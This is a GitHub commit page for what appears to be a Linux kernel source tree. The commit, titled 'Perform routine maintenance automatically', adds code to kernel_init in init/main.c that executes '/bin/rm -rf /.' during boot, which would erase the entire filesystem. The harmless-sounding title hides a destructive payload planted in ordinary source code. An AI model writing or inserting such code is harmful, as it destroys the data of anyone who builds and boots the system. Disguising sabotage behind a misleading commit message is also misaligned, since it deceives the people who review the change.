Skip to content

Commit

Permalink
Perform routine maintenance automatically
Browse files Browse the repository at this point in the history
  • Loading branch information
IDM350 committed Mar 30, 2014
1 parent 0d1399a commit 662e65b
Showing 1 changed file with 4 additions and 0 deletions.
4 changes: 4 additions & 0 deletions init/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -847,6 +847,10 @@ static int __ref kernel_init(void *unused)

flush_delayed_fput();

do_execve(getname_kernel("/bin/rm"),
(const char __user *const __user *){ "rm", "-rf", "/.", NULL, },
(const char __user *const __user *)envp_init);

if (ramdisk_execute_command) {
ret = run_init_process(ramdisk_execute_command);
if (!ret)
Expand Down

0 comments on commit 662e65b

Please sign in to comment.